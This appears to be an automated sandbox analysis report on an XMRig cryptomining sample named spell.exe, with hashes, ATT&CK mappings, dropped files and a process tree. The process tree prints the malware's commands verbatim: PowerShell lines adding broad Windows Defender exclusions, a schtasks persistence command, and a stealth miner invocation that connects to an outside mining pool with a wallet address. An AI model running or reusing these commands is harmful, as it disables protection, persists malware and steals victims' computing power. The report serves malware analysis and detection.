xmrig | dd5a76a2520d25db4010b9c27e6e6b3033995b72b18954f095215e08137850f6

Analysis

max time kernel
2699s
max time network
2691s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
29/06/2024, 01:59

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General

Target

spell.exe
Size

2.1MB
MD5

ac109c80097d1d932ab66fc11e19b61f
SHA1

2d8eb980764fae4a728431e32321609a45f6741d
SHA256

dd5a76a2520d25db4010b9c27e6e6b3033995b72b18954f095215e08137850f6
SHA512

bb893cc7cb0eee04048390d92515dcf3e689eea15e67d8b461b26720d8ab2d127afc55cb006ab2088454346fb506f0a2e09004740b736da3f3bfacc5461f1b58
SSDEEP

49152:Get5GEw9XDPGmUI/LVuSO5q2OCvBc6laoCBpsFC6:HRw9XDuZI/YDlOCZc6la3sY6

Score

10^/10

xmrig execution miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral4/memory/920-67-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-69-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-74-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-72-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-71-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-75-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-73-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-88-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-90-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-91-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/920-92-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4840	powershell.exe
5036	powershell.exe
4908	powershell.exe
1368	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2920	services64.exe
4000	sihost64.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\services64.exe	conhost.exe
File opened for modification	C:\Windows\system32\services64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4732 set thread context of 920	4732	conhost.exe	105

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1880	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2752	conhost.exe
1368	powershell.exe
1368	powershell.exe
4840	powershell.exe
4840	powershell.exe
4732	conhost.exe
4732	conhost.exe
5036	powershell.exe
5036	powershell.exe
4908	powershell.exe
4908	powershell.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe
920	explorer.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	conhost.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	4732	conhost.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeLockMemoryPrivilege	920	explorer.exe
Token: SeLockMemoryPrivilege	920	explorer.exe
Token: SeDebugPrivilege	4908	powershell.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 2752	1320	spell.exe	81
PID 1320 wrote to memory of 2752	1320	spell.exe	81
PID 1320 wrote to memory of 2752	1320	spell.exe	81
PID 2752 wrote to memory of 3876	2752	conhost.exe	82
PID 2752 wrote to memory of 3876	2752	conhost.exe	82
PID 3876 wrote to memory of 1368	3876	cmd.exe	85
PID 3876 wrote to memory of 1368	3876	cmd.exe	85
PID 2752 wrote to memory of 620	2752	conhost.exe	86
PID 2752 wrote to memory of 620	2752	conhost.exe	86
PID 620 wrote to memory of 1880	620	cmd.exe	88
PID 620 wrote to memory of 1880	620	cmd.exe	88
PID 3876 wrote to memory of 4840	3876	cmd.exe	89
PID 3876 wrote to memory of 4840	3876	cmd.exe	89
PID 2752 wrote to memory of 4624	2752	conhost.exe	96
PID 2752 wrote to memory of 4624	2752	conhost.exe	96
PID 4624 wrote to memory of 2920	4624	cmd.exe	98
PID 4624 wrote to memory of 2920	4624	cmd.exe	98
PID 2920 wrote to memory of 4732	2920	services64.exe	99
PID 2920 wrote to memory of 4732	2920	services64.exe	99
PID 2920 wrote to memory of 4732	2920	services64.exe	99
PID 4732 wrote to memory of 848	4732	conhost.exe	100
PID 4732 wrote to memory of 848	4732	conhost.exe	100
PID 848 wrote to memory of 5036	848	cmd.exe	102
PID 848 wrote to memory of 5036	848	cmd.exe	102
PID 4732 wrote to memory of 4000	4732	conhost.exe	103
PID 4732 wrote to memory of 4000	4732	conhost.exe	103
PID 4000 wrote to memory of 3704	4000	sihost64.exe	104
PID 4000 wrote to memory of 3704	4000	sihost64.exe	104
PID 4000 wrote to memory of 3704	4000	sihost64.exe	104
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 4732 wrote to memory of 920	4732	conhost.exe	105
PID 848 wrote to memory of 4908	848	cmd.exe	106
PID 848 wrote to memory of 4908	848	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\spell.exe
"C:\Users\Admin\AppData\Local\Temp\spell.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\spell.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4840
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:620
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1880
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4624
  - - C:\Windows\system32\services64.exe
      C:\Windows\system32\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2920
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        5⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4732
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5036
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4908
      - C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4000
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        
        PID:3704
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=45fPKuDFXtpFRPKFCiNDZVjNuTSAMd8XwS2ouV1hWy7s5y6rn1fjfbXL8sJNAZSMS4EXhvbKisPeuEb24XchsUSeBXdQxrL --pass=SPELL --cpu-max-threads-hint=90 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --tls --cinit-stealth
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
539B

MD5
b245679121623b152bea5562c173ba11

SHA1
47cb7fc4cf67e29a87016a7308cdb8b1b4dc8e3d

SHA256
73d84fd03e38f1bbf8b2218f8a454f0879051855252fc76b63f20f46e7fd877f

SHA512
75e46843b1eafcc7dc4362630838895b7f399e57662a12bf0305a912c8e726b02e0a760b1b97a2c262b2d05fdb944b9ed81c338ad93e5eb5cb57bc651602e42c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
10890cda4b6eab618e926c4118ab0647

SHA1
1e1d63b73a0e6c7575f458b3c7917a9ce5ba776d

SHA256
00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14

SHA512
a2ee84006c24a36f25e0bca0772430d64e3791f233da916aecdeae6712763e77d55bbbd00dc8f6b2b3887f3c26ab3980b96c5f46cc823e81e28abbbc5fc78221

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
46b170302a5821687d8c622f10947f27

SHA1
47a91ea3e248bd99dc87211be7e2844dda0687df

SHA256
e3cdd1b49dca63bf255aead7a7535cc6fc085425ff5ac48975d62c37af6a689e

SHA512
e6f9e562876591cb959d5650cf9ef1eb2a87d5a154bd5f8c37f6697c7fd48d959014bcb2aab96b9c41498a465e9d0f114be276514e2be59dcb019334e3dfe7cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zoe4fsgr.ids.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\Microsoft\Libs\sihost64.exe

Filesize
32KB

MD5
069a6f7a77eaf05c4145ec872579f07e

SHA1
02bdf233197e979bb99343c7473c20492972187b

SHA256
59c8dc7bbbe8ea1a8ecd01e8a780f8af39309717fb0f6e44c583579e91674860

SHA512
2c1d29f817417e0298137bb3e3b7fc94af6dab084a7a7575fe11431c7d2766e89f4074e99583b327025beaf3e53e08b8a1844e1e9ef93f1e9e2b2a4d66e39306

Download Submit
C:\Windows\system32\services64.exe

Filesize
2.1MB

MD5
ac109c80097d1d932ab66fc11e19b61f

SHA1
2d8eb980764fae4a728431e32321609a45f6741d

SHA256
dd5a76a2520d25db4010b9c27e6e6b3033995b72b18954f095215e08137850f6

SHA512
bb893cc7cb0eee04048390d92515dcf3e689eea15e67d8b461b26720d8ab2d127afc55cb006ab2088454346fb506f0a2e09004740b736da3f3bfacc5461f1b58

Download Submit
memory/920-72-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-73-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-92-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-91-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-90-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-88-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-75-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-71-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-74-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-69-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/920-70-0x0000000001FF0000-0x0000000002010000-memory.dmp

Filesize
128KB

Download
memory/920-67-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/1368-15-0x000002CECE940000-0x000002CECE962000-memory.dmp

Filesize
136KB

Download
memory/1368-18-0x00007FFB1AA50000-0x00007FFB1B511000-memory.dmp

Filesize
10.8MB

Download
memory/1368-19-0x00007FFB1AA50000-0x00007FFB1B511000-memory.dmp

Filesize
10.8MB

Download
memory/1368-22-0x000002CEE6BB0000-0x000002CEE6DCC000-memory.dmp

Filesize
2.1MB

Download
memory/1368-23-0x00007FFB1AA50000-0x00007FFB1B511000-memory.dmp

Filesize
10.8MB

Download
memory/1368-16-0x00007FFB1AA50000-0x00007FFB1B511000-memory.dmp

Filesize
10.8MB

Download
memory/2752-4-0x00007FFB1AA50000-0x00007FFB1B511000-memory.dmp

Filesize
10.8MB

Download
memory/2752-0-0x0000025682D30000-0x0000025682F51000-memory.dmp

Filesize
2.1MB

Download
memory/2752-39-0x00007FFB1AA50000-0x00007FFB1B511000-memory.dmp

Filesize
10.8MB

Download
memory/2752-5-0x00007FFB1AA50000-0x00007FFB1B511000-memory.dmp

Filesize
10.8MB

Download
memory/2752-17-0x00007FFB1AA50000-0x00007FFB1B511000-memory.dmp

Filesize
10.8MB

Download
memory/2752-1-0x00007FFB1AA53000-0x00007FFB1AA55000-memory.dmp

Filesize
8KB

Download
memory/2752-2-0x000002569D7D0000-0x000002569D9F0000-memory.dmp

Filesize
2.1MB

Download
memory/2752-3-0x0000025684DC0000-0x0000025684DD2000-memory.dmp

Filesize
72KB

Download
memory/3704-65-0x0000018C26140000-0x0000018C26146000-memory.dmp

Filesize
24KB

Download
memory/3704-64-0x0000018C24620000-0x0000018C24626000-memory.dmp

Filesize
24KB

Download
memory/4908-87-0x0000020446A10000-0x0000020446C2C000-memory.dmp

Filesize
2.1MB

Download